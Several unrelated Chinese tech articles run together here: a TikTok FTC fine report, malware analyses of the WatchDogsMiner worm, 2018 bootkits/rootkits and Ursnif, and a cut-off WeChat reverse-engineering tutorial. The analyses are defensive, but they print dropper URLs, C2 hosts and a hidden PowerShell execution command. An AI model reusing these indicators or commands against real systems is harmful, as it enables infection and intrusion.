据外媒报道,美国联邦贸易委员会(FTC)今天发布了一项重要裁决,对短视频应用TikTok(抖音国际版)罚款570万美元,罚款原因是违反美国儿童隐私法。

监管机构称,TikTok不仅在未经父母同意的情况下,从13岁以下的用户那里收集个人信息,而且将这些个人资料公之于众,直到2016年10月,还允许人们与附近的朋友分享他们的位置。联邦贸易委员会说,开发商知道13岁以下的用户“占很大比例”,但即使在“成千上万的投诉”之后,他们也没有改变。

除了罚款外,TikTok还将改变其App的设计,这对于TikTok来说是一个不太好的时机。就在同一天,抖音国际版开始推广其新的安全设计,在TikTok今天发布的更新中,所有用户都需要验证他们的年龄,然后13岁以下的儿童将被引导到一个单独的、更受限制的版本中,这能保护他们的个人信息,并阻止其向Tiktok发布视频。

当它被称为Musical.ly时,联邦贸易委员会已开始调查TikTok,而且这项裁决本身就是与Musical.ly的和解。据了解,Musical.ly早已不再存在,它于2017年被字节跳动收购,并于2018年中期关闭,同时其用户群被合并到TikTok。

美国的行业自律组织儿童广告审查组(CARU)去年春天将Musical.ly提交给FTC,因为他们违反美国儿童隐私法,未经父母同意,为未满13岁的用户收集个人信息。

但它的监管问题也随之而来。

根据美国儿童隐私法(COPPA),针对13岁以下年轻用户的应用程序和网站运营商在未经家长同意的情况下无法收集个人数据,如电子邮件地址、IP地址、地理位置信息或其他标识符。

但是,FTC声称,musical ly.ly应用程序要求用户提供电子邮件地址、电话号码、用户名、姓名、简短的个人简历和个人资料图片。该应用还允许用户通过评论视频和发送直接消息与其他人进行互动。此外,FTC解释说,默认情况下,用户帐户是公开的,这意味着其他用户可以看到孩子的个人资料、用户名、图片和视频。

它还指出,有报道称成年人试图在Musical.ly与儿童联系,直到2016年10月,还有一项功能让其他人在50英里范围内查看附近的用户。

FTC主席乔·西蒙斯(Joe Simons)在一份声明中说:“Musical.ly,也就是现在被称为TikTok的运营商知道许多孩子正在使用该应用程序,但他们仍然未能在收集13岁以下用户的姓名,电子邮件地址和其他个人信息之前征得父母同意,我们非常重视COPPA的执行,我们不会容忍那些公然无视法律的公司。”

当然,美国《儿童隐私法》对于像TikTok这样的应用程序来说变得有点复杂,这些应用程序处于面向成人和针对孩子的灰色地区之间。具体来说,青少年喜欢的应用程序(如Snapchat,Instagram,YouTube和TikTok)经常被13岁以下的小孩吵着要求,父母经常会默许。

但是这些应用让一些家长猝不及防。美国联邦贸易委员会表示,Musical.ly已经向父母提出了“成千上万的投诉”,因为他们13岁以下的孩子创造了Musical.ly帐户。

除了570万美元的罚款,FTC与Musical.ly的和解还包括一项协议,该协议将影响Tiktok应用程序的运行方式。

TikTok现在被认为是一个拥有成年人和儿童的一个“混合受众”的应用程序,这意味着TikTok需要在应用程序上实现一个年龄关卡,将13岁以下的用户锁定在Tiktok服务之外,较年轻的用户将被引导到一种不同的应用程序内体验,这种体验限制Tiktok收集儿童的隐私信息。

TikTok也通过对其应用程序进行重大更新来遵守该裁决。现在它将限制13岁以下的孩子拍摄视频并将其发布到TikTok应用程序,还将删除13岁以下儿童的所有视频。13岁以下的儿童人群只能喜欢内容并关注用户。他们将能够创建和保存视频到他们的设备(但不是公共TikTok网络)。如果他们通过私人帐户使用TikTok,他们也不能与他们的朋友分享应用程序上的视频。

然而,这可能这可能不会对有多少孩子使用TikTok产生影响。现在孩子们已经知道可以骗取年龄弹出窗口,这样他们就可以进入受限制的应用程序 这就是他们在Facebook,Instagram,Snapchat和其他地方建立账户的方式。但此举至少让TikTok与其他“混合受众”应用程序处于公平竞争的环境,而不是让它假装美国儿童的隐私法律不存在,并为父母提供了控制访问的方法。

据最新数据显示,TikTok在全球安装了10亿次。该公司没有公开披露其数据,但FTC表示,自2014年以来,已有超过2亿用户在全球范围内下载了Musical.ly应用程序,其中6500万个帐户在美国注册。

近日,深信服安全团队追踪到公有云上及外部Linux服务器存在大量被入侵,表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况,严重影响用户业务。多个用户邀请深信服安全专家远程排查,最终经过分析确认,用户Linux服务器被植入新型恶意挖矿蠕虫,且较难清理。

深信服安全团队将其命名为WatchDogsMiner,并紧急发布预警,提醒企业用户及时开展自查修复,防范WatchDogsMiner挖矿蠕虫。

· 病毒名称:WatchDogsMiner

· 病毒性质:挖矿蠕虫

· 影响范围:国内不少用户受感染,包括公有云用户

· 危害等级:高危

· 传播方式:基于Redis未授权访问、集成SSH爆破实现内外网的蠕虫式传播。

如何确认是否中毒

通过服务器终端进行检查发现部分常用命令被删除后出现未找到命令:

01.png

authorized_keys文件被清空无法使用免密登录:

02.png

系统内置的mail邮箱也出现相关的通知类邮件,查看发现有定时任务的通知与相关的命令:

03.png

在计划任务的相关路径下发现一个root的计划任务:

04.png

使用深信服安全感知平台的用户,安全感知平台主动提示主机出现虚拟货币挖矿、数据库扫描、SSH暴力破解等多个安全事件:

05.png

病毒分析

[1] WatchDogsMiner整体比较复杂,病毒母体为一个sh脚本,来自pastebin.com/raw/sByq0rym

[2] sh脚本主要做了两个操作,净化主机环境,然后下载并运行挖矿病毒体。

[3] 挖矿病毒是一个elf文件,从thyrsi.com/t6/672/1550667479×1822611209.jpg处下载得到。

[4] 挖矿病毒使用go语言编写,病毒会通过SSH和Redis未授权访问进行传播,然后以守护进程的方式进行挖矿,挖矿的币种为门罗币。

06.png

WatchDogsMiner挖矿毒体分析

WatchDogsMiner病毒程序是由go语言编写的elf文件,程序包含了网络通信模块、加密算法、Redis攻击、SSH暴力破解、挖矿等自实现功能。

详细分析如下:

启动,执行pastebin上保存的母体脚本:

07.png

08.png

将挖矿模块写入/tmp/ksoftirqds并执行。

Redis攻击模块:

09.png

10.png

SSH暴力破解模块:

11.png

母体脚本功能分析

定时指定链接,执行母体脚本,并结束其他挖矿进程:

12.png

修改所需要操作的目录属性,删除定时任务及服务,清理billgates病毒相关进程和文件:

13.png

更新挖矿木马:

14.png

最后进行清理工作:

15.png

解决方案

WatchDogsMiner病毒清理:

1、删除恶意动态链接库 /usr/local/lib/libioset.so;

2、清理 crontab 异常项,删除恶意任务(无法修改则先执行4-a);

3、使用kill命令终止挖矿进程;

4、排查清理残留的病毒文件;

a.chattr -i /usr/sbin/watchdogs /etc/init.d/watchdogs /var/spool/cron/root /etc/cron.d/root

b. chkconfig watchdogs off

c. rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs

5、相关系统命令如netstat等可能被病毒删除,建议重新进行安装恢复;

6、由于文件只读且相关命令被hook,需要安装busybox并使用busybox rm命令删除;

7、部分操作需要重启机器生效。

WatchDogsMiner病毒防御:

1、为 Redis 添加密码验证;禁止外网访问 Redis;以低权限运行Redis服务。(重启 Redis 才能生效。)

2、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

建议企业对全网进行一次安全检查和杀毒扫描,加强防护工作。

一.前言

有一类病毒木马令中招者无比头疼,怎么头疼呢,就是普通网友一旦中招,一般的杀毒方法杀不干净。用杀毒软件杀不完,格式化重装行不行?但这类病毒一般网友格式化重装很快发现又来了。什么样的病毒如此顽固,今天让我们来盘一盘。

顽固病毒主要指利用计算机启动后较早的时机获得执行机会,运行在系统底层的Bootkit病毒及Rootkit病毒。Bootkit病毒会感染磁盘MBR、VBR,在系统引导阶段就获得执行控制权,有启动早,隐藏性高等特点。Rootkit病毒在Ring0层执行,有着较高的权限,往往通过挂钩磁盘钩子,注册回调等技术手段实现自保护,有与杀软对抗激烈,变种多等特点。

2018年较为活跃的Bootkit/Rootkit病毒家族包括暗云、独狼、外挂幽灵、血狐、紫狐、隐魂、双枪、主页保安木马等等家族,其中下半年最为活跃的Rootkit病毒家族为独狼家族,仅电脑管家进行披露的独狼家族相关的病毒感染事件就有3例,传播渠道从独狼一代的盗版GHOST系统到独狼二代的激活工具,从主页锁定,刷量获利到传播盗号木马,到强力破坏杀毒软件功能,可谓是无恶不作。

Bootkit最为活跃的病毒家族为暗云及隐魂系列,其中暗云不仅频繁更换C2网址,还首次发现和Mykings僵尸网络进行捆绑传播,此外国内厂商披露的暗云变种”隐匿者”也加入了挖矿的行列。Bootkit病毒家族隐魂最早在2017年被披露,其变种“隐蜂”最主要的变现方式也是挖矿。

Bootkit/Rootkit病毒传播渠道可以分为四大类,主要包括盗版Ghost系统、激活工具、游戏外挂辅助及下载器、第三方流氓软件,及通过漏洞利用弱口令爆破等传播新方式。值得注意的是,腾讯御见威胁情报中心在不同的时间段随机抽取了各大系统下载站点共对270个系统下载链接下的系统进行检测,发现预埋病毒导致的系统异常的下载链接共202个,异常占比高达75%。

本文主要从Bootkit/Rootkit病毒活跃家族、传播渠道、对抗技术、典型案例四个方面盘点2018年病毒的主要态势及变化。

二. 2018年活跃B(R)ootkit病毒家族盘点

Bootkit/Rootkit病毒依然是C端普通用户感染后查杀难度较大的主要病毒类型,2018年较为活跃的Bootkit/Rootkit病毒家族包括暗云、独狼、外挂幽灵、血狐、紫狐、隐魂、双枪、主页保安木马等家族。

典型的Bootkit/Rootkit病毒感染事件包括:

· SQL SEVER弱口令爆破入侵,暗云,Mykings等多个病毒家族捆绑入侵传播事件;

· 酷玩游戏盒子伪造知名公司数字签名,传播Steam盗号,独狼Rootkit木马事件;

· “外挂幽灵”团伙曝光 系双枪、紫狐两大病毒家族的幕后推手;

· 页游微端《血盟荣耀》强锁主页,劫持50余个知名电商和搜索网站流量 等等。

腾讯御见威胁情报中心对Rootkit病毒的签名信息进行统计,发现Rootkit病毒的签名信息高度集中,部分签名会被泛滥使用,其中以“上海预联软件技术有限公司”及“双双 何”最为严重被木马病毒使用的最为广泛。

0228-2.png

图2被病毒滥用签名

对2018年度主要的活跃Bootkit/Rootkit进行统计,其主要的变现获利方式有刷流量,锁主页,恶意推广,网络攻击,挖矿等。其中锁主页仍然是最主要的变现方式,占比高达35%,其次为刷流量及软件推广,占比30%,其中暗云,独狼等家族其主要变现方式就是锁主页及刷量。随着挖矿黑产的兴起,挖矿获利也逐渐增多(占比10%),如“隐蜂”木马,暗云新变种等Bootkit木马也转投挖矿获利。

0228-3.png

图3顽固木马的主要获利变现方式

三. B(R)ootkit病毒传播渠道

1. 盗版Ghost系统

盗版Ghost系统长期以来一直都是病毒传播的重要载体,更为重要的是,预埋了病毒的盗版Ghost往往利用搜索引擎厂商的广告竞价排名,使得普通网民在搜索“Ghost”系统,“win 7”,“激活工具”等相关关键字时显示在搜索前几名的绝大部分都是带毒的系统,即使网民试图通过搜索引擎搜索“净化版”,展示的搜索结果仍会在靠前的位置展示内嵌病毒的下载链接。

0228-4.png

图4带毒Ghost系统

腾讯御见威胁情报中心对各大站点的Ghost系统进行了检测发现有几个特点:

a.  这些盗版Ghost系统的下载链接会被频繁的更换,其主要目的是为了躲避安全厂商对这些下载链接的报毒提示;

b.  这些带毒的系统绝大部分会利用搜索引擎广告进行推广。由于国内软件使用习惯等原因,普通网民获得这些安装系统的主要途径就是网上搜索,这导致了有重装系统刚需的用户有极大概率会下载这些存在风险的系统而成为受害者;

c.  提供这些Ghost系统的网站基本都在显要位置推带毒系统下载。

腾讯御见威胁情报中心在不同的时间段随机抽取了各大系统下载站点共对270个系统下载链接下的系统进行检测,发现预埋病毒导致的系统异常的下载链接共202个,异常占比高达75%,这里的系统异常指由于系统预埋病毒导致的主页被锁定,暗刷流量,流氓推装其他软件等系统异常问题。

0228-5.png

图5异常系统占比

0228-6.png

图6部分问题下载链接及站点

盗版Ghost系统已成病毒传播温床,重要的原因是其背后存在利益驱动。首先是盗版Ghost系统通过广告竞价排名获得网络访问量以吸引用户下载安装,随后Ghost系统中预装病毒,最终实现软件推广安装,劫持主页等手段进行获利。获利之后再继续加大推广力度,形成一个完整的闭环产业链。

鉴于盗版Ghost系统,各类激活工具已长期频繁地被病毒团伙利用传播,建议网民尽量使用正版软件。

0228-7.png

图7病毒获利链

2. 盗版激活工具、游戏外挂及各类下载器

游戏外挂,各类辅助工具也是病毒传播的重要载体,其目标为游戏玩家,而传播这些外挂辅助工具的主要是各大外挂网站,包括七哥辅助网(www.52wzlt.cn)、我爱辅助网(www.50fzw.com)、屠城社区等多个游戏辅助网站。

经常被用于和病毒打包捆绑传播的外挂辅助工具包括荒野设备解封器、单板方框透视、DNF梦幻装备、帝王破解版等。2018年披露的通过外挂辅助进行传播的Rootkit/Bootkit包括双枪木马,紫狐,外挂幽灵等病毒家族。

0228-8.png

图8流行的带毒游戏外挂、辅助工具

2018年,被用于传播病毒的激活工具中最活跃的莫过于小马激活工具。激活工具有多个变种,打着win7 激活、系统激活、office激活的名义,换各种马甲传播,病毒文件往往和激活工具捆绑打包,运行后便会染毒。独狼2代就是主要通过激活工具进行传播。                                  

0228-9.png

图9小马激活工具

3. 第三方流氓软件

除了前面提到的的盗版Ghost系统、激活工具、下载器等传播渠道,第三方流氓软件也是Rootkit/Bootkit病毒的重要传播渠道。

第三方流氓软件的主要特点是,这些软件往往都是用户主动去进行下载安装,看起来和正常的软件没什么区别,都有完整的安装及展示界面,但是这些软件却神不知鬼不觉地往用户电脑机器上安装病毒文件,这类传播渠道往往有隐秘性,看起来像“正规”商业软件,用大量网民使用。

这类传播渠道的病毒感染安装主要有两种方式,一种是安装完软件后并不会马上感染病毒,而是过一段时候后通过云端控制或者软件升级的方式下载安装病毒,另一种方式是病毒和软件捆绑安装。

这类传播渠道已成为病毒传播的重要推手,仅仅在2018年下半年,经电脑管家首先进行披露的利用第三方流氓软件传播Rootkit/Bootkit病毒的就有主页保安、血盟荣耀微端、护眼小秘书、酷玩游戏盒、桌面助手等软件。

0228-10.png

图10护眼秘书 血盟荣耀展示界面

4. 利用漏洞、弱口令爆破等传播新方式

通过弱口令爆破,漏洞利用成功后进行投毒,以前这类病毒传播入侵方式更多的是集中于B端企业用户。但近年来随着挖矿病毒、勒索病毒的兴起,挖矿勒索等病毒为了增加查杀难度,获得更早的执行机会,也会和Rootkit/Bootkit这类顽固病毒进行捆绑传播。

其中最为典型的案例如,暗云木马和Mykings僵尸网络捆绑传播,由于暗云木马在系统引导阶段之前就获得了执行机会,其执行时机要比操作系统还要早,这就大大增加了查杀成本和难度,在这次传播事件中,首先是通过SQL SEVER弱密码进行爆破,爆破成功后投放暗云木马、Mykings僵尸病毒,随后Mykings僵尸病毒会利用多种漏洞在内网主动扩散,永恒之蓝、Telnet爆破、FTP爆破等都是病毒传播者最惯用的伎俩。

 0228-11.png

图11入侵传播方式

0228-12.png

图12尝试SQLSEVER弱密码爆破

四.对抗技术升级盘点

1. 拦截过滤

Rootkit病毒往往会注册各种各样的回调,或者hook系统相关函数,以在合适的时间点获得执行机会,在回调函数中完成相关的拦截过滤功能。以独狼一代为例,独狼系列病毒家族可以说是病毒高难度对抗的集大成者,这是一个过滤型驱动,具有完善的过滤架构,拦截过滤点包括文件过滤、网络过滤等,下图为过滤点及其使用的技术,及影响风险。

0228-13.png

图13独狼Rootkit过滤点

2.对抗杀软

Bootkit/Rootkit病毒为了躲避杀软查杀,对抗技术手段有很多,常见的一些对抗手段如下:

0228-14.png

图14

道高一尺魔高一丈,杀毒软件和顽固病毒的对抗是一个持续性的过程,每当病毒用一种新的方法来躲避或者绕过杀毒软件查杀的时候,很快杀毒软件也会升级查杀能力对新病毒进行查杀。走投无路了病毒也会放出大招,比如强制重启电脑以阻断查杀过程。

2018年电脑管家披露的主页保安病毒就使用了这种强对抗手段来躲避查杀,其主要逻辑为木马会不断的检查系统启动组注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceGroupOrder下的List键值,系统默认该键值第一项为System Reserved,如果检查到启动组第一项不是System Reserved则暴力重启电脑,通过OUT指令直接写IO端口0x64实现强制重启,往64号端口写入0xFE后电脑强制重启以阻断杀毒软件查杀

0228-15.png

图15暴力重启电脑

0228-16.png

图16设备占坑

3. 自保护

这里提到的自保护主要指病毒为了防止被用户发现,或被安全研究人员分析透彻,往往会通过一些技术手段来保护自身以加大被发现或被分析的难度。

最常见的自保护对象是病毒文件及对应的注册表项。注册表的保护主要是通过注册cmpcallbakck回调来完成,通过阻止或者隐藏自身注册表以达到自保护的目的。病毒文件的保护也是通过底层的文件钩子来实现。此外为了防止被ARK等分析工具发现往往会隐藏自身的模块信息。

以“血狐”病毒为例,通过KeServiceDescriptorTable拿到NtLoadDriver函数地址,然后通过调用4次硬编码查找函数(ba7011a4),找到MiProcessLoaderEntry函数,通过搜索获取MiProcessLoaderEntry地址调用,达到摘链来隐藏模块信息不被ARK工具发现。

0228-17.png

图17隐藏模块信息

Bootkit的自保护主要是保护自身的MBR或者VBR感染代码及payload不被发现,比如暗云木马会根据磁盘类型和操作系统替换DriverStartIo、AtapiHwStartIo、RaUnitStartIo等函数,实现阻止其他程序读取磁盘1-3F 扇区(MBR)。当检测到读MBR时, 返回一个构造好的正常的MBR作欺骗,检测到写MBR时,则直接pass 该操作。

0228-18.png

图18MBR保护挂钩逻辑

五.典型案例

2018年下半年最为活跃的Rootkit病毒家族为独狼家族,仅腾讯电脑管家进行批露的独狼家族相关的病毒感染事件就有3例,传播渠道从独狼一代的盗版GHOST系统到独狼二代的激活工具,从主页锁定,刷量获利到传播盗号木马,到强力破坏杀毒软件功能,可谓是无恶不作。

Bootkit最为活跃的病毒家族为暗云及隐魂系列,其中暗云不仅频繁更换C2网址,还首次发现和Mykings僵尸网络进行捆绑传播,此外国内厂商披露的暗云变种“隐匿者”也加入了挖矿的行列。Bootkit病毒家族隐魂最早在2017年被披露,其变种“隐蜂”最主要的变现方式也是挖矿。

1. 独狼Rootkit病毒家族

独狼一代病毒家族最早由腾讯电脑管家于2018年6月披露,独狼一代其传播渠道主要是Ghost系统。腾讯御见威胁情报中心已在不同的Ghost系统中捕获到多个“独狼”系列Rootkit,包括Jomalone系列,chanel系列,Msparser系列,Wdfflk系列,在不同的Ghost系统里会以固定的服务名(如Jomalone)启动,每个系列有多个变种。

独狼系列其PDB信息都是PASS Through.pdb(过滤),都是一个过滤型驱动,具有完善的过滤架构,包括文件过滤、网络过滤、进程创建过滤、注册表过滤、模块加载过滤等。这四个系列中出现最早的是在2017年10月。此外其签名信息都有着高度关联性。

0228-19.png

图19独狼系列出现时间文件签信息

独狼二代重新拓展了传播渠道,并且各个病毒模块功能都得到进一步改进,传播渠道由单一的Ghost盗版系统传播演变为假冒系统激活工具传播。主要通过静默推广安装浏览器获利,并会锁定23款浏览器主页,将浏览器地址栏锁定为带推广渠道号的网址导航站,和独狼一代一大区别为从纯Rootkit驱动劫持首页,转变为内存解密Payload结合浏览器注入实现,此外还会静默推装浏览器。 

0228-20.png

图20独狼系列病毒静默安装的浏览器

独狼系列最新变种,会通过“酷玩游戏盒子”、“桌面助手”、“玩玩游戏”等软件传播盗号木马,该木马累计已感染超过5万台电脑。软件运行后会首先下载伪装成WPS的病毒,再下载安装“独狼”Rootkit病毒,最终进行营销推广、恶意推装更多软件来获利。

木马作者疑似伪造“北京方正阿帕比技术有限公司”的相关信息,申请了正规的数字签名,该病毒文件会下载Steam盗号木马,因病毒程序拥有合法数字签名导致多款杀毒软件未及时查杀,这是该病毒感染超过5万电脑的重要原因。

0228-21.png

图21独狼木马执行流程

2. 暗云木马

 暗云家族最早由电脑管家于2015年进行披露,18年9月国内安全厂商披露了暗云变种“隐匿者”转投挖矿,病毒暴力破解用户数据库入侵电脑,MBR感染代码获得执行后将恶意代码注入到系统进程中(winlogon或explorer进程),最终恶意代码会下载后门病毒到本地执行,后门病毒会下载执行挖矿相关病毒模块,挖取门罗币。

0228-22.png

图22暗云木马挖矿配置信息

腾讯御见威胁情报中心2018年12月监控到暗云最新动态,和Mykings僵尸网络木马捆绑传播,通过MS SQL SEVER弱密码入侵用户机器成功后会执行远程脚本命令,远程脚本执行后会下载多个木马文件到本地执行包括暗云感染器、Mykings僵尸网络木马、Mirai僵尸网络木马。和以往的暗云系列相比,主要变化包括会强制结束包括管家、360等杀软进程,随后注入应用层的payload会根据云端配置文件进行主页锁定及下载执行木马病毒等功能。

0228-23.png

图23暗云配置文件

3.隐魂木马家族

隐魂系列最早于2017年进行披露,和暗云系列最大区别为payload的存储区域及hook流程有着较大差异,暗云payload存储在3到63扇区,而隐魂系列存储在磁盘末尾。

隐魂系列最新变种“隐蜂”其主要的变现方式也是挖矿,“隐蜂”挖矿木马在R3层的框架设计比较复杂,整个R3层解压后的模块配置文件总数多达30+,同时引入LUA脚本引擎实现灵活的策略控制。

0228-24.png

图24 隐魂木马挖矿策略配置

4. 外挂幽灵团伙

2018年10月腾讯御见披露了外挂幽灵团伙,主要通过七哥辅助网(www.52wzlt.cn)、我爱辅助网(www.50fzw.com)等多个游戏辅助工具(外挂)网站传播“双枪”、“紫狐”等木马。

这些网站提供的多款游戏外挂工具中被捆绑多个恶意程序,主要包括锁主页程序、“双枪”病毒家族和“紫狐”木马家族等等,两个病毒家族影响了全国数以万计的电脑。

0228-25.png

图25游戏外挂捆绑的木马

紫狐是一类利用系统正常"Pending File Rename Operations"机制替换系统文件,实现开机自动启动加载驱动(自动下载软件)的恶意木马,此外木马还会会进行多次删除替换,来创建多次进程链实现断链防止查杀,木马运行后会联网下载推广安装软件来获利。

0228-26.png

图26安装文件

双枪木马是一类会感染MBR及VBR的Bootkit病毒家族,2018年8月电脑管家监测到该家族新变种,多个外挂网站会传播双枪木马,包括屠城社区、七哥辅助网等,这些网站提供的多款游戏外挂程序中会捆绑安装一款名为“开心输入法”的违规软件,“双枪”木马下载器就隐藏在这款输入法中。

中毒电脑的浏览器主页被锁定为带有“39201”计费编号的网址导航站,同时“双枪”木马变种还会在系统预留后门以窃取用户敏感信息,另外会切断主流杀毒软件的联网功能,会造成杀毒软件升级更新、下载病毒库、下载附加组件、云查杀等等关键功能均被破坏。

0228-27.png

图27双枪木马感染流程

5. 血狐木马

血狐木马通过二次打包并借用第三方渠道假冒传奇微端传播,携带正规白签名,且签名厂商直接伪装国内某知名游戏公司,以此获得渠道商的信任,并因为拥有合法数字签名而容易欺骗杀毒软件。

当用户在电脑安装这个假冒的传奇微端时,病毒随即释放安装血狐Rootkit。当中毒电脑用户启动浏览器访问搜索引擎网站和电商网站时,浏览器URL均被劫持到含病毒作者推广ID的链接,至此,中毒用户的每次访问,均会给病毒作者带来佣金收入。

0228-28.png

图28

本期总结引用多篇友商原创资料,在此深表感谢!

1.png

介绍

近期,又有一波Ursnif攻击席卷了意大利!

Ursnif是目前活动最为频繁的银行木马,它也被称为GOZI。实际上,它是Gozi-ISFB银行木马的一个变种版本,自从该木马在2014年泄露了其源代码之后,攻击者这些年来一直都在升级和更新Gozi的功能。而且在这个变种版本中,Ursnif还嵌入了针对Office文档的攻击“武器”,即恶意VBA宏,它可以作为Dropper或经过混淆的PowerShell脚本来隐藏真正的Payload。除此之外,Ursnif还使用了隐写术来隐藏恶意代码并躲避AV检测。

当然了,这个变种还使用了QueueUserAPC进程注入技术来向explorer.exe注入恶意代码,这种技术的隐蔽性更强,因为不需要在目标进程中创建远程线程。

技术分析

初始感染向量以一个无法打开的Excel文件呈现,并要求用户启用宏来查看恶意文档的内容,文件标题通常都是采购订单或者发票等等。

2.png

在对样本的分析过程中,我们提取出了恶意宏代码,我们发现代码回使用Application.International MS Office属性来检查用户的所属国家。如果返回的国家代码为意大利(代码39),恶意宏将会使用Shell函数来执行下一条攻击指令:

3.png

恶意宏剩下的函数主要用来准备Shell命令的执行,并使用各种方法来拼接和编码字符串。最终的命令代码包含大量二进制字符串,它们需要使用下列函数来转化为新的PowerShell命令:

[Convert]::ToInt16()-as[char]

4.png

如上图所示,恶意软件会尝试从至少1到2个嵌入的URL地址去下载一张图片:

https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.png

https://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1

这个看似合法的图片实际上包含了新的PowerShell命令,攻击者使用了Invoke-PSImage脚本来制作这张恶意图片,而这个脚本一般用来向PNG文件的像素中嵌入字节或脚本代码。

5.png

Et voilà是另一段经过混淆的PowerShell代码,Payload采用Base64编码,所以很好处理:

6.png

代码看似为十六进制编码,可以通过之前的[Convert]::ToInt16函数进行解码。

最终的代码如下:

7.png

代码会再次检查用户是否位于意大利,信息由下列命令返回:

Get-Culture| Format-List -Property *

如果检测结果为假,脚本会从http://fillialopago[.]info/~DF2F63下载一个EXE Payload,然后将其存储在%TEMP%\Twain001.exe并执行。

在分析的过程中,大多数反病毒软件都无法检测到恶意文件:

8.png

其中的可执行文件是典型的Ursnif加载器,它负责跟后台服务器交互并下载需要注入到explorer.exe进程中的恶意代码。它使用了IWebBrowser.Navigate函数来从其恶意服务器felipllet[.]info下载恶意数据,其中URI路径会伪造成一个视频文件(.avi)。

9.png

服务器响应的数据为加密数据,如下图所示:

10.png

解密后,全部有用的数据都会存储在下面这个注册表键中:

HKCU\Software\AppDataLow\Software\Microsoft\{GUID}

11.png

注册表键“defrdisc”中包含了下一步需要执行的恶意命令,目标主机启动之后命令会自动执行:

12.png

命令的主要目的就是通过PowerShell引擎来执行“cmiftall”注册表键中的数据:

C:\Windows\system32\wbem\wmic.exe/output:clipboard process call create “powershell -w hiddeniex([System.Text.Encoding]::ASCII.GetString((get-itemproperty‘HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E’).cmiftall))”

“cmiftall”注册表键中的数据是一个以十六进制编码的PowerShell脚本,所以我们可以轻松重构出它所要进行的操作:

13.png

Ursnif会使用PowerShell脚本来把恶意代码存储到注册表键中,Ursnif能够通过其恶意字节数组来分配空间,其中包含了最终的恶意Payload,并通过调用QueueUserAPC和SleepEx来嵌入到合法进程之中。

Ursnif的完整工作机制如下图所示:

14.png

入侵威胁指标IoC

哈希:

630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f(老样本)

f30454bcc7f1bc1f328b9b546f5906887fd0278c40d90ab75b8631ef18ed3b7f(新样本)

93dd4d7baf1e89d024c59dbffce1c4cbc85774a1b7bcc8914452dc8aa8a79a78(最终代码)

Dropurls:

https://images2.imgbox[.]com/55/c4/rBzwpAzi_o.png

https://i.postimg[.]cc/PH6QvFvF/mario.png?dl=1

https://fillialopago[.]info/~DF2F63

http://felipllet[.]info

C&C:

pereloplatka[.]host

roiboutique[.]ru

uusisnfbfaa[.]xyz

nolavalt[.]icu

sendertips[.]ru

IP:

185.158.248.142

185.158.248.143

攻击组件:

HKCU:\Software\AppDataLow\Software\Microsoft\94502524-E302-E68A-0D08-C77A91BCEB4E

Yara规则

import "pe"

rule Ursnif_201902 {

meta:

       description = "Yara rule for Ursnifloader - January version"

       author = "Yoroi - ZLab"

       last_updated = "2019-02-06"

       tlp = "white"

       category = "informational"

strings:

       $a1 = "PADDINGXX"

       $a2 = { 66 66 66 66 66 66 66 }

condition:

       all of ($a*) and pe.number_of_sections ==4 and (pe.version_info["OriginalFilename"] contains"Lumen.exe" or pe.version_info["OriginalFilename"] contains"PropositionReputation.exe")

 }

*参考来源:yoroi,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

一、前言

准备工具:Cheat Engine,OllyDbg,IDA。

前一篇(微信PC端技术研究:保存聊天语音)已经说过CE是什么,也应用CE研究了如何保存微信语音,这篇继续使用CE和OD来研究一下微信的消息发送接口。

思路大概是这样:在消息框中输入内容之后,通过CE找到内容地址,然后通过内存断点来找到发送该数据的相关代码,从而找到消息发送接口。

二、分析过程

查找关键数据地址

在输入框输入一个比较特别的文字内容(避免搜索时太多内存选项)后,使用CE搜索该内容地址。

由于已经知道确切的消息内容,很容易就能通过CE的Exact value->String来找到内容地址,修改内容多次筛选,最后留下两个结果(详细操作见上一篇文章)。

微信PC端技术研究

通过CE修改一下内存的内容,微信输入框中内容同步改变,说明这个内存地址就是输入框中内容地址,最终确认地址是2A1E1A8

接着在点击发送按钮之后,输入框内容会被清空,所以第一想法就是对内存地址下内存写入断点,可以找到发送过程中清空内容的代码。

打开OD,挂载到WeChat.exe进程,在右下角数据窗口Ctrl+G输入2A1E1A8,然后右键选择断点->内存写入断点。

微信PC端技术研究

F9让OD跑起来,然后点击微信发送按钮,没想到意外发生了,输入框内容清空了,但是断点却没有触发。

怎么回事?断点弄错?地址找错?暂时没有答案。

用CE多次重复前面的操作,地址依然是这个地址,断点就是不触发。

通过OD查看到,在输入框清空后,2A1E1A8的内容确实没有变化,和发送前一样,并且在重新输入新的内容之后,该内存内容同步更新。

所以结论就是输入框内容地址确实是2A1E1A8,但是清空输入框并不是清空该内存内容,猜测编辑框可能通过控制字符串长短来控制显示的,清空输入框内容就是设置字符串长度为0。

找到输入框类

清空输入框没有进展了,那怎么办呢?

尝试去找了其他数据,比如发送按钮的发送(S),发送按钮的提示内容不能发送空白内容等等,数据地址也可以很快找到,但是和我们的分析目标偏的太远了。

几番折腾后,作罢。

转念一想,清空不行,发送总的读取输入框中内容吧,那换成内存访问断点尝试一下。

依然是在右下角数据窗口Ctrl+G输入2A1E1A8,然后右键选择断点->内存访问断点。

微信PC端技术研究

完成后回到微信界面,没想到直接断下了,我还没点发送按钮呢。根据以前的经验,下意识就觉得是界面刷新显示文字触发了断点,这可能会影响分析,根本没办法通过发送按钮来触发内存访问断点。

微信PC端技术研究

一般解决方法有:

条件断点。也就是屏蔽掉刷新界面触发的断点,但是好像内存断点不支持条件断点啊,要么通过脚本来完成,好麻烦。

找其他切入点。废话,清空那边的路都断了,死心吧。

其他我不知道的…

放弃了一般的解决方法,我决定看看本次断点究竟干嘛了。

注意到断点的位置不是微信模块WeChatWin.dll中,而是在msftedit.dll,很少见的一个模块。根据目录可以看到是微软系统的一个模块,名字中的edit也可以看出这应该是一个编辑框相关的模块。

可执行模块, 条目 20

 基址=6F050000

 大小=00094000 (606208.)

 入口=6F05D53D msftedit.<ModuleEntryPoint>

 名称=msftedit (系统)

 文件版本=5.41.21.2510

